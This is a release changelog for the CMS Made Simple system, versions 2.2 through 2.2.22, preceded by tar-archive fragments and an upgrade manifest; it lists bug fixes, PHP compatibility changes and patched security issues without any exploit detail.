FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
MANIFEST.DAT                                                                                        0000666                 00000001610 14627621114 0006312 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       MANIFEST GENERATED: 1717510732
MANIFEST FROM VERSION: 2.2.20
MANIFEST FROM NAME: Saguenay
MANIFEST TO VERSION: 2.2.21
MANIFEST TO NAME: Sherbrooke
CHANGED :: 0013cc80ce21728ac2aa579fb5c22744 :: admin\themes\OneEleven\templates\navigation.tpl
CHANGED :: e8032139add91c8191bdc42e5a31ad63 :: doc\CHANGELOG.txt
CHANGED :: 7e44fe9c294531e6bcf22cfe788812c7 :: lib\classes\contenttypes\Content.inc.php
CHANGED :: b7e4cb024818391016491bdd5a32e0f0 :: lib\classes\contenttypes\ErrorPage.inc.php
CHANGED :: bee6714b10e016f38e7edf7486ddff65 :: lib\classes\internal\class.page_template_parser.php
CHANGED :: 308b85e3e83a368f102034b6088f3be6 :: lib\html_entity_decode_php4.php
CHANGED :: f4b38d76dd320b4045038e869d688a75 :: lib\version.php
CHANGED :: 1531eeca3b3e0e2fc2f3a7d7713114f3 :: modules\Navigator\Navigator.module.php
CHANGED :: c803ed8eec0ce92542ed4d023f83b689 :: modules\News\lib\class.DraftMessageAlert.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Version 2.2.22 - Saskatoon
-------------------------------

Core - General
 - Fixed BR12711 - replace FILTER_SANITIZE_STRING in admin/siteprefs.php
 - Fixed BR12701 - Internal Page Link fixed to now include section headers that have children
 - Fixed BR12704 - User tag correctly updated message now automatically hides after 10 seconds
 - Fixed BR12658 - removed redundant string & other language file tweaks
 - Fixed BR12749 - Saving an UDT error fixed - saving the UDT parses the code but no longer executes
 - in case the php headers fail to be correctly interpreted fallback on pure HTML
 - make sure login form doesn't cache at all to avoid redirect loop on some server configurations
 - re-enforce the no caching of backend pages for some server configurations and browsers
 - upgraded to Smarty 4.5.5;
 - fixed the UserOperations::IsSuperuser method when $uid is not 1 (default for an installation) but not necessarily kept the same during the lifecycle of the site;
 - Removed MenuManager from the package;

Content Manager 1.1.14
 - Default page deletion bug on copy fixed

Search Module 1.54
 - Fixed BR12727 - Search Module bug fix to remove error if no result found

 FilePicker 1.0.9
 - Fixed BR #12666 - Logs display problem in Admin Log
 
 Phar Installer 1.4.3
 - Upgraded Smarty to version 4.5.5;
 - Regular Phar still doesn't support Windows at this point while Expanded Phar does because of a Smarty issue while being served from the phar installer;
 - Updated the installer README file;


Version 2.2.21 - Sherbrooke
-------------------------------

Core - General
 - Fixes BR 12714 inherited content Fields from a base templates are missing in child templates (backend edit);
 - Fixes BR 12713 Pages extended of a page base can't be edited, if they don't contain a {content} tag;
 - Fixes a typo in class ErrorPage: missing line break after #[\AllowDynamicProperties] directive;


 Version 2.2.20 - Saguenay
-------------------------------

Core - General
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Smarty upgraded to version 4.5.2 (latest of the stable 4.5.x branch);
 - Made some changes to keep backward compatibility with previous versions of Smarty;
 - Fixed BR #12683: we now truncate the item_name at 50 characters;
 - Moved php files with functions to a specific folder tidying up for further changes;
 - Deprecated cms_html_entity_decode: scheduled to be removed; PHP native html_entity_decode now supports UTF-8 properly;
 - Fixed BRs #12677 and #12703: UDTs errors are now handled more gracefully - the error being triggered is shown on the popup;
 - News module is no longer mandatory;
 - New module added to core (UserGuide);
 - Installer now supports optional modules (News and UserGuide);
 - MenuManager is no longer installed back on upgrades;
 
Content Manager 1.1.13
 - Fixed a typo in admin_editcontent.tpl;
 
CmsJobManager 1.0.0
 - Considered a stable release, version is now 1.0.0;
 - Compatibility fixes for PHP 8.2 and 8.3;
 
DesignManager 1.1.11
 - Compatibility fixes for PHP 8.2 and 8.3;
 
FilePicker 1.0.8
 - BR #12671 - fix FilePicker prefix error;
  
MicroTiny 1.6.5
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Removed mt_jsbool as it is not needed any longer and was breaking Smarty compatibility; 
 
Navigator 1.0.11
 - Compatibility fixes for PHP 8.2 and 8.3;

News 2.51.13
 - Compatibility fixes for PHP 8.2 and 8.3;
 - News is now an optional module, no longer installed by default;
 
UserGuide 1.0.0
 - Initial release;
 
Phar Installer Not SET
 - Compatibility fixes for PHP 8.2 and 8.3;
 - Supports core optional modules selection on advanced mode (currently News and UserGuide);
 - Modified Smarty 4.2.1 enough to work with PHP 8.3;
 - Regular Phar doesn't support Windows at this point while Expanded Phar does; 


Version 2.2.19 - Selkirk
-------------------------------

Core - General
 - BR #12647 - Wrong default action value in get_pageid_or_alias_from_url;
 - FR #12638 - ability to add CSP headers on the backend: currently weak restrictions: self with script-src and script-src-elem set to unsafe-inline (optionally set on config admin_csp_header);
 - BR #12661 - fix page_selector allow_all parameter and set default to false;
 
Content Manager 1.1.12
 - BR #12635 - Apply button is shown for non-existing page;
 - BR #12474 Taking the default page down by accident through the content type;

File Manager 1.6.16
 - BR #12659 - FileManager upload Warning bug fix;

FilePicker 1.0.7
 - BR #12621 - FilePicker upload bug;
 - BR #12659 - FilePicker upload Warning bug fix;

Navigator 1.0.10
 - BR #12528 Navigator call doesn't clear excluded prefixes in some situations

Version 2.2.18 - Apex
-------------------------------
Core - General
 - Fallback function CMSMS\strftime. PHP Intl extension still recommended. The fallback solves issues on hosts that don't install it by default and don't allow users to install it.

Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
